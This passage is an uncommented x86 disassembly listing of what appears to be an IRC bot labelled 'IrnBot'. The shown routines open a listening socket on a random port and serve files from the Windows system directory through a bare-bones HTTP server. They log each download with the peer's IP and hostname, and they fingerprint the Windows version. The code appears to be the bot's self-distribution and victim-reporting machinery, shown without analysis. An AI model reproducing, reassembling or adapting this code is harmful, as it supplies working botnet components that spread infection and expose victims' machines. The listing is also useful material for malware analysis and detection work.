		add	esp, 10h
		test	eax, eax
		mov	[ebx], eax
		jz	short loc_418CD7
		push	offset asc_420558 ; " "
		push	0
		call	sub_403DF4
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jz	short loc_418CD7
		mov	ecx, [ebp+arg_8]
		lea	eax, [edi+2]
		cmp	byte ptr [eax],	0
		mov	[ecx], eax
		jz	short loc_418D3C
		push	offset asc_42055C ; "\r\n\r\n"
		push	eax
		call	sub_403B70
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_418CD7
		mov	byte ptr [eax+2], 0

loc_418D3C:				; CODE XREF: sub_418CAF+76j
		xor	eax, eax
		inc	eax

loc_418D3F:				; CODE XREF: sub_418CAF+2Aj
		pop	edi
		pop	ebp
		retn
sub_418CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0CA8h


sub_418D42	proc near		; CODE XREF: sub_4192DB+28p

var_D28		= dword	ptr -0D28h
var_D24		= dword	ptr -0D24h
var_D20		= dword	ptr -0D20h
var_D1C		= dword	ptr -0D1Ch
var_D18		= byte ptr -0D18h
var_D14		= byte ptr -0D14h
var_D13		= byte ptr -0D13h
var_D12		= byte ptr -0D12h
var_D11		= byte ptr -0D11h
var_D08		= byte ptr -0D08h
var_D07		= byte ptr -0D07h
var_908		= byte ptr -908h
var_907		= byte ptr -907h
var_508		= byte ptr -508h
var_507		= byte ptr -507h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-0CA8h]
		sub	esp, 0D28h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+0CA8h+var_4], eax
		push	ebx
		push	esi
		mov	esi, 3FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+0CA8h+var_907]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_908], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp+0CA8h+var_507]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_508], bl
		call	sub_407F20
		push	103h
		lea	eax, [ebp+0CA8h+var_107]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_108], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp+0CA8h+var_D07]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_D08], bl
		call	sub_407F20
		add	esp, 30h
		push	ebx
		push	400h
		lea	eax, [ebp+0CA8h+var_D08]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41D26C	; recv
		mov	[ebp+eax+0CA8h+var_D08], bl
		lea	eax, [ebp+0CA8h+var_D1C]
		push	eax
		lea	eax, [ebp+0CA8h+var_D20]
		push	eax
		lea	eax, [ebp+0CA8h+var_D28]
		push	eax
		lea	ebx, [ebp+0CA8h+var_D24]
		lea	esi, [ebp+0CA8h+var_D08]
		call	sub_418CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4192C4
		mov	esi, [ebp+0CA8h+var_D28]
		push	edi
		push	4
		mov	edi, offset aGet ; "GET"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_418ED0
		push	offset aQue?	; "Que?"
		mov	esi, 3FFh
		lea	eax, [ebp+0CA8h+var_908]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+0CA8h+var_908]
		add	esp, 0Ch
		lea	edx, [eax+1]

loc_418E2C:				; CODE XREF: sub_418D42+EFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_418E2C
		sub	eax, edx
		xor	ebx, ebx
		mov	[ebp+eax+0CA8h+var_908], bl
		lea	eax, [ebp+0CA8h+var_908]
		lea	ecx, [eax+1]

loc_418E47:				; CODE XREF: sub_418D42+10Aj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_418E47
		sub	eax, ecx
		push	eax
		push	offset aHttp1_1501NotI ; "HTTP/1.1 501 Not Implemented\r\nContent-L"...
		lea	eax, [ebp+0CA8h+var_508]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+0CA8h+var_508]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_418E6F:				; CODE XREF: sub_418D42+132j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_418E6F
		sub	eax, ecx
		mov	[ebp+eax+0CA8h+var_508], bl
		lea	eax, [ebp+0CA8h+var_508]
		lea	ecx, [eax+1]

loc_418E88:				; CODE XREF: sub_418D42+14Bj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_418E88
		mov	esi, ds:dword_41D228
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		lea	eax, [ebp+0CA8h+var_908]
		lea	ecx, [eax+1]

loc_418EB1:				; CODE XREF: sub_418D42+174j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_418EB1
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_908]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		jmp	loc_4192B7
; ---------------------------------------------------------------------------

loc_418ED0:				; CODE XREF: sub_418D42+C1j
		mov	edi, [ebp+0CA8h+var_D24]
		push	edi
		call	sub_418B86
		test	eax, eax
		pop	ecx
		jz	loc_4192C3
		mov	eax, edi
		lea	edx, [eax+1]

loc_418EE7:				; CODE XREF: sub_418D42+1AAj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_418EE7
		sub	eax, edx
		cmp	eax, 1
		jbe	loc_419039
		inc	edi
		push	2Fh
		push	edi
		call	sub_403C10
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_418F96
		mov	[esi], bl
		inc	esi
		push	esi
		call	sub_418B6F
		push	ebx
		push	esi
		call	sub_403C10
		add	esp, 0Ch
		cmp	[esi], bl
		jz	short loc_418F5F
		cmp	byte ptr [eax-1], 5Ch
		jz	short loc_418F5F
		push	esi
		push	edi
		push	offset dword_4280E8
		push	offset aSSS	; "%s\\%s\\%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+0CA8h+var_108]
		add	esp, 18h
		lea	esi, [eax+1]

loc_418F56:				; CODE XREF: sub_418D42+219j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418F56
		jmp	short loc_418FC5
; ---------------------------------------------------------------------------

loc_418F5F:				; CODE XREF: sub_418D42+1E3j
					; sub_418D42+1E9j
		push	offset dword_4282F8
		push	esi
		push	edi
		push	offset dword_4280E8
		push	offset aSSSS	; "%s\\%s\\%s%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+0CA8h+var_108]
		add	esp, 1Ch
		lea	esi, [eax+1]

loc_418F8D:				; CODE XREF: sub_418D42+250j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418F8D
		jmp	short loc_418FC5
; ---------------------------------------------------------------------------

loc_418F96:				; CODE XREF: sub_418D42+1C8j
		push	edi
		push	offset dword_4280E8
		push	offset aSS_4	; "%s\\%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+0CA8h+var_108]
		add	esp, 14h
		lea	esi, [eax+1]

loc_418FBE:				; CODE XREF: sub_418D42+281j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418FBE

loc_418FC5:				; CODE XREF: sub_418D42+21Bj
					; sub_418D42+252j
		sub	eax, esi
		mov	[ebp+eax+0CA8h+var_108], bl
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		push	offset byte_4281F0
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41903B
		mov	esi, 200h
		push	esi
		call	sub_403AA0
		push	esi
		mov	edi, eax
		push	ebx
		push	edi
		mov	[ebp+0CA8h+var_D20], edi
		call	sub_407F20
		add	esp, 10h
		push	offset aQue?_1	; "Que?"
		push	edi
		call	sub_402E05
		pop	ecx
		dec	eax
		push	eax
		push	edi
		call	sub_402EAE
		mov	eax, edi
		add	esp, 0Ch
		lea	esi, [eax+1]

loc_41901C:				; CODE XREF: sub_418D42+2DFj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41901C
		sub	eax, esi
		mov	[eax+edi], bl
		mov	eax, edi
		lea	esi, [eax+1]

loc_41902D:				; CODE XREF: sub_418D42+2F0j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41902D
		jmp	loc_41911E
; ---------------------------------------------------------------------------

loc_419039:				; CODE XREF: sub_418D42+1B1j
		xor	ebx, ebx

loc_41903B:				; CODE XREF: sub_418D42+2A1j
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		push	80000000h
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	ds:dword_41D06C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+0CA8h+var_D24], esi
		jz	short loc_4190CF
		push	ebx
		push	esi
		call	ds:off_41D070
		mov	edi, eax
		push	edi
		mov	[ebp+0CA8h+var_D1C], edi
		call	sub_403AA0
		push	edi
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_D20], eax
		call	sub_407F20
		add	esp, 10h
		push	ebx
		push	ebx
		push	ebx
		push	esi
		mov	esi, ds:off_41D074
		call	esi ; sub_4566A9
		push	ebx
		lea	eax, [ebp+0CA8h+var_D28]
		push	eax
		push	edi
		mov	edi, ds:off_41D078
		jmp	short loc_4190C1
; ---------------------------------------------------------------------------

loc_419099:				; CODE XREF: sub_418D42+389j
		cmp	[ebp+0CA8h+var_D28], ebx
		jnz	loc_419123
		push	[ebp+0CA8h+var_D1C]
		push	ebx
		push	[ebp+0CA8h+var_D20]
		call	sub_407F20
		add	esp, 0Ch
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+0CA8h+var_D24]
		call	esi ; sub_4566A9
		push	ebx
		lea	eax, [ebp+0CA8h+var_D28]
		push	eax
		push	[ebp+0CA8h+var_D1C]

loc_4190C1:				; CODE XREF: sub_418D42+355j
		push	[ebp+0CA8h+var_D20]
		push	[ebp+0CA8h+var_D24]
		call	edi ; sub_44623D
		test	eax, eax
		jnz	short loc_419099
		jmp	short loc_419123
; ---------------------------------------------------------------------------

loc_4190CF:				; CODE XREF: sub_418D42+31Aj
		mov	esi, 200h
		push	esi
		call	sub_403AA0
		push	esi
		mov	edi, eax
		push	ebx
		push	edi
		mov	[ebp+0CA8h+var_D20], edi
		call	sub_407F20
		add	esp, 10h
		push	offset aQue?_0	; "Que?"
		push	edi
		call	sub_402E05
		pop	ecx
		dec	eax
		push	eax
		push	edi
		call	sub_402EAE
		mov	eax, edi
		add	esp, 0Ch
		lea	esi, [eax+1]

loc_419106:				; CODE XREF: sub_418D42+3C9j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_419106
		sub	eax, esi
		mov	[eax+edi], bl
		mov	eax, edi
		lea	esi, [eax+1]

loc_419117:				; CODE XREF: sub_418D42+3DAj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_419117

loc_41911E:				; CODE XREF: sub_418D42+2F2j
		sub	eax, esi
		mov	[ebp+0CA8h+var_D1C], eax

loc_419123:				; CODE XREF: sub_418D42+35Aj
					; sub_418D42+38Bj
		push	400h
		lea	eax, [ebp+0CA8h+var_508]
		push	ebx
		push	eax
		call	sub_407F20
		push	[ebp+0CA8h+var_D1C]
		lea	eax, [ebp+0CA8h+var_508]
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 ok\r\nContent-Length: %d\r\nCo"...
		push	3FFh
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+0CA8h+var_508]
		add	esp, 1Ch
		lea	esi, [eax+1]

loc_41915A:				; CODE XREF: sub_418D42+41Dj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41915A
		sub	eax, esi
		mov	[ebp+eax+0CA8h+var_508], bl
		lea	eax, [ebp+0CA8h+var_508]
		lea	esi, [eax+1]

loc_419173:				; CODE XREF: sub_418D42+436j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_419173
		sub	eax, esi
		mov	esi, ds:dword_41D228
		push	ebx
		push	eax
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		test	eax, eax
		jz	loc_4192AE
		push	ebx
		push	[ebp+0CA8h+var_D1C]
		push	[ebp+0CA8h+var_D20]
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		test	eax, eax
		jz	loc_4192AE
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		push	offset byte_4281F0
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4192AE
		push	100h
		call	sub_402A08
		mov	esi, eax
		push	esi
		call	sub_402E05
		push	eax
		mov	ebx, offset aBb	; "¡¡ÉÉ"
		call	sub_419EC1
		xor	eax, eax
		lea	edi, [ebp+0CA8h+var_D18]
		stosd
		stosd
		stosd
		add	esp, 0Ch
		stosd
		lea	eax, [ebp+0CA8h+var_D24]
		push	eax
		lea	eax, [ebp+0CA8h+var_D18]
		push	eax
		push	[ebp+0CA8h+arg_0]
		mov	[ebp+0CA8h+var_D24], 10h
		call	ds:dword_41D278	; getpeername
		movzx	eax, [ebp+0CA8h+var_D11]
		movzx	ecx, [ebp+0CA8h+var_D12]
		shl	eax, 8
		add	eax, ecx
		movzx	ecx, [ebp+0CA8h+var_D13]
		shl	eax, 8
		add	eax, ecx
		movzx	ecx, [ebp+0CA8h+var_D14]
		shl	eax, 8
		add	eax, ecx
		push	2
		mov	[ebp+0CA8h+var_D1C], eax
		push	4
		lea	eax, [ebp+0CA8h+var_D1C]
		push	eax
		call	ds:dword_41D224	; gethostbyaddr
		test	eax, eax
		push	dword_435388
		jnz	short loc_419276
		movzx	eax, [ebp+0CA8h+var_D11]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D12]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D13]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D14]
		push	eax
		push	offset aHttpTransferD_ ; "HTTP:	Transfer: %d.%d.%d.%d (N/A). %d	T"...
		push	esi
		push	0
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 24h
		jmp	short loc_4192A1
; ---------------------------------------------------------------------------

loc_419276:				; CODE XREF: sub_418D42+507j
		push	dword ptr [eax]
		movzx	eax, [ebp+0CA8h+var_D11]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D12]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D13]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D14]
		push	eax
		push	offset aHttpTransfer_0 ; "HTTP:	Transfer: %d.%d.%d.%d (%s). %d To"...
		push	esi
		push	0
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 28h

loc_4192A1:				; CODE XREF: sub_418D42+532j
		inc	dword_435388
		push	esi
		call	sub_402F5B
		pop	ecx

loc_4192AE:				; CODE XREF: sub_418D42+453j
					; sub_418D42+46Aj ...
		push	[ebp+0CA8h+var_D20]
		call	sub_4039C3
		pop	ecx

loc_4192B7:				; CODE XREF: sub_418D42+189j
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41D280	; closesocket

loc_4192C3:				; CODE XREF: sub_418D42+19Aj
		pop	edi

loc_4192C4:				; CODE XREF: sub_418D42+ABj
		mov	ecx, [ebp+0CA8h+var_4]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 0CA8h
		leave
		retn
sub_418D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DB	proc near		; DATA XREF: sub_419430+27o

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 0043EE4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A81F SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 401h
		jz	short loc_4192EE
		pop	ebp
		jmp	ds:off_41D1FC
; ---------------------------------------------------------------------------

loc_4192EE:				; CODE XREF: sub_4192DB+Aj
		mov	eax, [ebp+arg_C]
		dec	eax
		jz	short loc_419300
		sub	eax, 7
		jnz	short loc_419309
		call	sub_418B4D
		jmp	short loc_419309
; ---------------------------------------------------------------------------

loc_419300:				; CODE XREF: sub_4192DB+17j
		push	[ebp+arg_8]
		call	sub_418D42
		pop	ecx

loc_419309:				; CODE XREF: sub_4192DB+1Cj
					; sub_4192DB+23j
		xor	eax, eax
		pop	ebp
		retn	10h
sub_4192DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41930F	proc near		; CODE XREF: sub_419430+9Bp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, 104h
		push	edi
		xor	ebp, ebp
		push	ebp
		mov	ebx, offset dword_4280E8
		push	ebx
		call	sub_407F20
		push	edi
		push	ebp
		mov	esi, offset dword_4282F8
		push	esi
		call	sub_407F20
		push	edi
		push	ebp
		mov	ebp, offset byte_4281F0
		push	ebp
		call	sub_407F20
		add	esp, 24h
		push	edi
		push	ebx
		call	ds:dword_41D0F0	; GetSystemDirectoryA
		push	edi
		mov	ebx, offset byte_426A49
		call	sub_419EC1
		push	esi
		push	offset dword_4280E8
		push	offset aSS_1	; "%s\\%s"
		push	103h
		push	ebp
		call	sub_402EAE
		mov	eax, ebp
		add	esp, 18h
		lea	ecx, [eax+1]

loc_419375:				; CODE XREF: sub_41930F+6Bj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_419375
		push	0
		push	1
		sub	eax, ecx
		push	2
		mov	byte_4281F0[eax], dl
		call	ds:dword_41D220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	dword_4281EC, eax
		jnz	short loc_4193A8
		push	eax

loc_41939B:				; CODE XREF: sub_41930F+E7j
		call	ds:dword_41D280	; closesocket
		xor	eax, eax
		jmp	loc_41942B
; ---------------------------------------------------------------------------

loc_4193A8:				; CODE XREF: sub_41930F+89j
		mov	eax, 0FFDCh
		mov	ebx, 3E8h
		call	sub_419AB7
		push	eax
		mov	dword_427FD4, eax
		mov	word_4280D4, 2
		call	ds:dword_41D270	; htons
		and	dword_4280D8, 0
		push	10h
		push	offset word_4280D4
		push	dword_4281EC
		mov	word_4280D6, ax
		call	ds:dword_41D27C	; bind
		test	eax, eax
		jz	short loc_4193F8

loc_4193F0:				; CODE XREF: sub_41930F+102j
					; sub_41930F+114j
		push	dword_4281EC
		jmp	short loc_41939B
; ---------------------------------------------------------------------------

loc_4193F8:				; CODE XREF: sub_41930F+DFj
		push	9
		push	401h
		push	[esp+18h+arg_0]
		push	dword_4281EC
		call	ds:dword_41D22C	; WSAAsyncSelect
		test	eax, eax
		jnz	short loc_4193F0
		push	4
		push	dword_4281EC
		call	ds:dword_41D230	; listen
		test	eax, eax
		jnz	short loc_4193F0
		inc	eax
		mov	byte_4282F4, al

loc_41942B:				; CODE XREF: sub_41930F+94j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41930F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419430	proc near		; DATA XREF: sub_419507+21o

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		mov	eax, dword_4280E4
		push	ebx
		mov	ebx, ds:off_41D1F0
		push	esi
		push	edi
		mov	edi, 7F00h
		push	edi
		xor	esi, esi
		push	esi
		mov	[ebp+var_3C], eax
		mov	[ebp+var_28], offset dword_426F94
		mov	[ebp+var_48], offset sub_4192DB
		mov	[ebp+var_4C], 8
		mov	[ebp+var_50], 30h
		call	ebx ; sub_459E36
		push	edi
		push	esi
		mov	[ebp+var_38], eax
		call	ebx ; sub_459E36
		push	edi
		push	esi
		mov	[ebp+var_24], eax
		call	ds:off_41D208
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_2C], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_30], 1
		call	ds:off_41D1EC
		test	ax, ax
		jz	short loc_4194FE
		push	esi
		push	dword_4280E4
		mov	eax, 80000000h
		push	esi
		push	esi
		push	esi
		push	esi
		push	eax
		push	eax
		push	0CF0000h
		push	offset aIrnbot	; "IrnBot"
		push	offset dword_426F94
		push	esi
		call	ds:off_41D1F8
		push	eax
		call	sub_41930F
		test	eax, eax
		pop	ecx
		jz	short loc_4194FE
		mov	edi, ds:off_41D204
		jmp	short loc_4194F1
; ---------------------------------------------------------------------------

loc_4194DD:				; CODE XREF: sub_419430+CCj
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41D1F4
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41D200

loc_4194F1:				; CODE XREF: sub_419430+ABj
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_20]
		push	eax
		call	edi ; sub_44D52F
		test	eax, eax
		jnz	short loc_4194DD

loc_4194FE:				; CODE XREF: sub_419430+70j
					; sub_419430+A3j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_419430	endp


; =============== S U B	R O U T	I N E =======================================



sub_419507	proc near		; CODE XREF: sub_4022D6+70p
					; sub_41C28D+401p
		push	4
		mov	eax, offset loc_41C969
		call	sub_40497C
		push	8
		call	sub_40340B
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		and	dword ptr [ebp-4], 0
		test	esi, esi
		jz	short loc_41953B
		push	offset sub_419430
		xor	ecx, ecx
		mov	edi, offset aHs	; "HS"
		call	sub_414884
		jmp	short loc_41953D
; ---------------------------------------------------------------------------

loc_41953B:				; CODE XREF: sub_419507+1Fj
		xor	eax, eax

loc_41953D:				; CODE XREF: sub_419507+32j
		cmp	dword ptr [eax+4], 0
		setnz	al
		call	sub_404A1B
		retn
sub_419507	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41954A	proc near		; CODE XREF: sub_419AB7:loc_419ADBp
		mov	eax, dword_427FF0
		mov	edx, dword_427FF4
		lea	ecx, ds:427FF8h[eax*4]
		push	esi
		mov	esi, eax
		mov	eax, dword_427FF8[edx*4]
		add	eax, [ecx]
		and	eax, 3FFFFFFFh
		inc	esi
		cmp	esi, 37h
		mov	[ecx], eax
		jnz	short loc_419577
		xor	esi, esi

loc_419577:				; CODE XREF: sub_41954A+29j
		inc	edx
		cmp	edx, 37h
		jnz	short loc_41957F
		xor	edx, edx

loc_41957F:				; CODE XREF: sub_41954A+31j
		mov	dword_427FF0, esi
		mov	dword_427FF4, edx
		sar	eax, 6
		pop	esi
		retn
sub_41954A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419590	proc near		; CODE XREF: sub_40207A+125p
					; sub_417C7B:loc_417D8Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41D058	; QueryPerformanceCounter
		test	eax, eax
		jz	short loc_41960C
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41D064
		test	eax, eax
		jz	short loc_41960C
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41C740
		push	0
		push	15180h
		push	edx
		push	eax
		call	sub_411BB0
		push	0
		push	0E10h
		push	ebx
		push	ecx
		mov	dword_427FD8, eax
		mov	dword_427FDC, edx
		call	sub_411BB0
		push	0
		push	3Ch
		push	ebx
		push	ecx
		mov	dword_427FE0, eax
		mov	dword_427FE4, edx
		call	sub_41C740
		mov	dword_427FE8, eax
		mov	dword_427FEC, edx

loc_41960C:				; CODE XREF: sub_419590+13j
					; sub_419590+21j
		pop	ebx
		leave
		retn
sub_419590	endp


; =============== S U B	R O U T	I N E =======================================



sub_41960F	proc near		; CODE XREF: sub_40207A+EFp
					; sub_417C7B+BCp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		push	0
		push	esi
		call	sub_407F20
		add	esp, 0Ch
		cmp	[esp+arg_4], 0
		push	[esp+arg_0]
		push	esi
		jz	short loc_419631
		push	1002h
		jmp	short loc_419633
; ---------------------------------------------------------------------------

loc_419631:				; CODE XREF: sub_41960F+19j
		push	7

loc_419633:				; CODE XREF: sub_41960F+20j
		push	800h
		call	ds:off_41D054
		mov	eax, esi
		retn
sub_41960F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_419641	proc near		; CODE XREF: sub_40207A+DAp
					; sub_417C7B+8Bp ...

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+74h+var_4], eax
		push	ebx
		push	edi
		lea	eax, [ebp+74h+var_98]
		push	eax
		mov	ebx, ecx
		mov	[ebp+74h+var_98], 94h
		call	ds:dword_41D068	; GetVersionExA
		push	ebx
		xor	edi, edi
		push	edi
		push	esi
		call	sub_407F20
		add	esp, 0Ch
		cmp	[ebp+74h+var_94], 6
		jnz	short loc_41968A
		cmp	[ebp+74h+var_90], edi
		jnz	short loc_4196F5
		push	offset aVis	; "VIS"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_41968A:				; CODE XREF: sub_419641+3Bj
		cmp	[ebp+74h+var_94], 5
		jnz	short loc_4196B6
		cmp	[ebp+74h+var_90], 2
		jnz	short loc_41969D
		push	offset a2k3	; "2K3"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_41969D:				; CODE XREF: sub_419641+53j
		cmp	[ebp+74h+var_90], 1
		jnz	short loc_4196AA
		push	offset aXp_0	; "XP"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_4196AA:				; CODE XREF: sub_419641+60j
		cmp	[ebp+74h+var_90], edi
		jnz	short loc_4196F5
		push	offset a2k	; "2K"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_4196B6:				; CODE XREF: sub_419641+4Dj
		cmp	[ebp+74h+var_94], 4
		jnz	short loc_4196F5
		cmp	[ebp+74h+var_90], 5Ah
		jnz	short loc_4196C9
		push	offset aMe	; "ME"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_4196C9:				; CODE XREF: sub_419641+7Fj
		cmp	[ebp+74h+var_90], 1
		jnz	short loc_4196D6
		push	offset a98	; "98"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_4196D6:				; CODE XREF: sub_419641+8Cj
		cmp	[ebp+74h+var_90], edi
		jnz	short loc_4196F5
		cmp	[ebp+74h+var_88], 2
		jnz	short loc_4196E8
		push	offset aNt	; "NT"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_4196E8:				; CODE XREF: sub_419641+9Ej
		cmp	[ebp+74h+var_88], 1
		jnz	short loc_419707
		push	offset a95	; "95"
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------

loc_4196F5:				; CODE XREF: sub_419641+40j
					; sub_419641+6Cj ...
		push	offset aUnk	; "UNK"

loc_4196FA:				; CODE XREF: sub_419641+47j
					; sub_419641+5Aj ...
		lea	eax, [ebx-1]
		push	eax
		push	esi
		call	sub_402EAE
		add	esp, 0Ch

loc_419707:				; CODE XREF: sub_419641+ABj
		mov	eax, esi
		lea	edx, [eax+1]

loc_41970C:				; CODE XREF: sub_419641+D0j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41970C
		sub	eax, edx
		cmp	[ebp+74h+arg_0], cl
		mov	[eax+esi], cl
		jz	loc_4197A3
		push	ebx
		call	sub_402A08
		mov	edi, eax
		push	edi
		call	sub_402E05
		push	eax
		push	0
		push	edi
		call	sub_407F20
		add	esp, 14h
		push	[ebp+74h+var_8C]
		lea	eax, [ebp+74h+var_84]
		push	[ebp+74h+var_90]
		push	[ebp+74h+var_94]
		push	eax
		push	esi
		push	offset aOsMicrosoftWin ; "[OS: Microsoft Windows %s %s (%i.%i bui"...
		push	edi
		call	sub_402E05
		pop	ecx
		dec	eax
		push	eax
		push	edi
		call	sub_402EAE
		mov	eax, edi
		add	esp, 20h
		lea	ecx, [eax+1]

loc_419765:				; CODE XREF: sub_419641+129j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_419765
		push	ebx
		sub	eax, ecx
		push	0
		push	esi

loc_419772:				; DATA XREF: sub_457B2A-1CEACo
		mov	[eax+edi], dl
		call	sub_407F20
		push	edi
		push	offset aS_5	; "%s"
		dec	ebx
		push	ebx
		push	esi
